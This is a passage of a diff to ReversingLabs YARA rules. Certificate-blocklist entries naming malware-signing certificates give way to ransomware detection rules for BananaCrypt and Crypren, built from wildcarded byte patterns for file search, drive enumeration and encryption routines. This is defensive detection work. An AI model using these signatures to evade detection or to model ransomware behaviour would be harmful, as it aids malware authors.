license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5aad8e95d1306626b63d767fce4706104330dd776b75c09cc404227863564307" + logic_hash = "6bde4430e438947b0d7f10c4de11216929ec03af81b3d74f8b7bb8ed134d08d2" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BananaCrypt" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DataNext s.r.o." and ( pe.signatures [ i ] . serial == "00:84:f8:42:f6:d3:3c:d2:f2:5b:88:dd:17:10:e2:11:37" or pe.signatures [ i ] . serial == "84:f8:42:f6:d3:3c:d2:f2:5b:88:dd:17:10:e2:11:37" ) and 1586775720 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_4Fbcaa289Ba925B4E247809B6B028202 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "d0c4c6c0-d8e3-5efc-a87b-01d1f98a2c18" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3922-L3938" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c41a4f9ccda54b9735313edf9042b831e6eaca149c089f74a823cee6719e1064" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $encrypt_files_p1 = { + 55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 55 ?? 89 8D ?? ?? ?? + ?? 85 D2 74 ?? 8B 45 ?? 85 C0 0F 85 ?? ?? ?? ?? 31 F6 0F B6 13 84 D2 0F 84 ?? ?? ?? + ?? 8D 43 ?? 88 95 ?? ?? ?? ?? 8D 8B ?? ?? ?? ?? 8D BD ?? ?? ?? ?? EB ?? 83 C0 ?? 83 + C7 ?? 88 57 ?? 39 C1 74 ?? 0F B6 10 84 D2 75 ?? 89 BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + C6 00 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 F0 84 + C0 0F 85 ?? ?? ?? ?? 8D 5D ?? 8D 76 ?? 8D BC 27 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 + 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? + 39 F9 89 C8 76 ?? 0F B6 41 ?? 89 CF 3C ?? 0F 95 C1 3C ?? 0F 95 C2 84 D1 0F 84 ?? ?? + ?? ?? 3C ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C6 07 ?? 8D 7E ?? 39 D8 89 BD ?? ?? ?? ?? 73 + ?? 0F B6 56 ?? 84 D2 74 ?? 89 F9 8B BD ?? ?? ?? ?? EB ?? 90 0F B6 11 84 D2 74 ?? 83 + C0 ?? 83 C1 ?? 88 50 ?? 39 D8 75 ?? 89 BD ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 31 + FF 89 04 24 E8 ?? ?? ?? ?? 85 C0 89 C2 74 ?? 80 38 ?? 74 ?? 8B 85 ?? ?? ?? ?? 66 90 + 83 C7 ?? 80 3C 3A ?? 75 ?? 89 85 ?? ?? ?? ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 89 95 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 46 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 8B 95 + ?? ?? ?? ?? 74 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 7C 24 ?? 89 14 24 89 + } + $encrypt_files_p2 = { + 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 89 F1 89 04 24 E8 ?? ?? ?? ?? + 83 EC ?? 89 F1 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 89 C7 8D + 40 ?? 83 F8 ?? 76 ?? 89 F1 83 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F1 E8 ?? + ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 + ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 89 + F1 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B + B5 ?? ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B B5 ?? ?? ?? + ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A6 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 8D ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8D 74 26 ?? 8B 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 + E8 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3 8B 45 ?? 89 1C 24 89 44 24 ?? + 8B 45 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 89 C6 E9 ?? ?? ?? ?? 8D 65 ?? 31 C0 5B 5E 5F 5D + C3 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 + } + $find_files_p1 = { + 8D 4C 24 ?? 83 E4 ?? FF 71 ?? 55 89 E5 57 56 53 51 81 EC ?? ?? ?? ?? 8B 31 8B 79 ?? + E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 7E ?? 89 74 24 ?? C7 04 + 24 ?? ?? ?? ?? 31 DB E8 ?? ?? ?? ?? 8B 04 9F 89 5C 24 ?? 83 C3 ?? C7 04 24 ?? ?? ?? + ?? 89 44 24 ?? E8 ?? ?? ?? ?? 39 DE 75 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 47 ?? 89 04 24 + E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 + 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D BD ?? + ?? ?? ?? F3 A5 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 04 24 C7 85 + } + $find_files_p2 = { + 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 C3 E8 ?? ?? ?? ?? + 8D 44 03 ?? 89 04 24 E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 + ?? ?? ?? ?? 89 DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? + A9 ?? ?? ?? ?? 74 ?? 89 C1 00 C1 83 DA ?? C7 02 ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 + 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 84 C0 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 65 ?? 31 C0 59 5B 5E + 5F 5D 8D 61 ?? C3 C1 E8 ?? 83 C2 ?? EB ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 89 04 24 B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 29 + F9 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 29 CE 81 C1 ?? ?? ?? ?? C1 E9 ?? 89 45 ?? F3 + } + $find_files_p3 = { + A5 89 1C 24 E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 + ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? + ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 C6 74 ?? 89 44 24 ?? C7 44 24 ?? ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 34 24 E8 ?? + ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? E8 + ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 89 C6 0F 84 ?? ?? ?? ?? 89 44 24 + ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? + ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? E9 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kimjac ApS" and pe.signatures [ i ] . serial == "4f:bc:aa:28:9b:a9:25:b4:e2:47:80:9b:6b:02:82:02" and 1588227220 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1F2E8Effbb08C7Dbcc7A7F2D835457B5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Crypren : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Crypren ransomware." author = "ReversingLabs" - id = "cf032593-e742-56d5-a579-3f38a31e2c0c" - date = "2020-08-05" - modified = "2023-11-08" + id = "9a6ff190-b26b-5b75-9103-95a3b2e80701" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3940-L3956" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crypren.yara#L1-L144" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0b446641617d435c3d312592957e19c3d391b0149eafcf9ac2da51e8d9080eb4" + logic_hash = "7047d48782762e42544063fde6f2be62eb19f22853ea84abb5bce67c962da172" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Crypren" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RTI, OOO" and pe.signatures [ i ] . serial == "1f:2e:8e:ff:bb:08:c7:db:cc:7a:7f:2d:83:54:57:b5" and 1581382360 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_Aeba4C39306Fdd022849867801645814 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "f8cb78cf-541c-5038-b7af-83679c978ec8" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3958-L3976" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "82c149f1d8ef93a0df2035690c5cdca935236687bc36a35a84c3d6610eb6902c" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $enum_directories_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 + 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 + 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + } + $enum_directories_p2 = { + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 + 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 + } + $enum_directories_p3 = { + 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? + 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 + ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 90 83 7F ?? ?? 8B 5F ?? 72 ?? 8B 37 EB ?? 8B F7 83 7D ?? ?? 8D + 45 ?? 8B D3 0F 43 45 ?? 3B CB 0F 42 D1 85 D2 74 ?? 83 EA ?? 72 ?? 8D 9B ?? ?? ?? ?? + 8B 08 3B 0E 75 ?? 83 C0 ?? 83 C6 ?? 83 EA ?? 73 ?? 83 FA ?? 74 ?? 8A 08 3A 0E 75 ?? + 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA + ?? 74 ?? 8A 40 ?? 3A 46 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 8B 4D ?? 85 C0 75 ?? 3B + CB 73 ?? 83 C8 ?? EB ?? 33 C0 3B CB 0F 95 C0 85 C0 0F 94 C0 84 C0 75 ?? 8B 85 ?? ?? + ?? ?? 83 C7 ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? B3 ?? EB ?? 32 DB 68 + ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? + 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E + 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 33 FF C6 45 ?? ?? 83 7D ?? ?? 8D 45 ?? 6A + ?? 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? + 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8B + 94 0D ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 39 BC 05 ?? ?? + ?? ?? 0F 85 ?? ?? ?? ?? F6 C2 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 03 C8 8D 45 ?? + 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? C6 45 ?? ?? 8B F0 + 85 C9 74 ?? 8B 11 FF 52 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B + 40 ?? FF D0 88 45 ?? 8D 45 ?? FF 75 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 76 ?? EB ?? 8D A4 24 + ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 0F 43 4D ?? 33 D2 + } + $encrypt_files_p2 = { + 0F BE 1C 30 8B C7 F7 75 ?? 8A 0C 0A 0F BE C1 03 C3 3D ?? ?? ?? ?? 7C ?? 25 ?? ?? ?? + ?? 79 ?? 48 0D ?? ?? ?? ?? 40 EB ?? 02 D9 0F B6 C3 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 46 83 C4 ?? 47 3B 75 ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? + ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 72 + ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D + ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C6 45 ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D + ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $enum_drives_p1 = { + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 + } + $enum_drives_p2 = { + E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 + 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D + 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SK AI MAS GmbH" and ( pe.signatures [ i ] . serial == "00:ae:ba:4c:39:30:6f:dd:02:28:49:86:78:01:64:58:14" or pe.signatures [ i ] . serial == 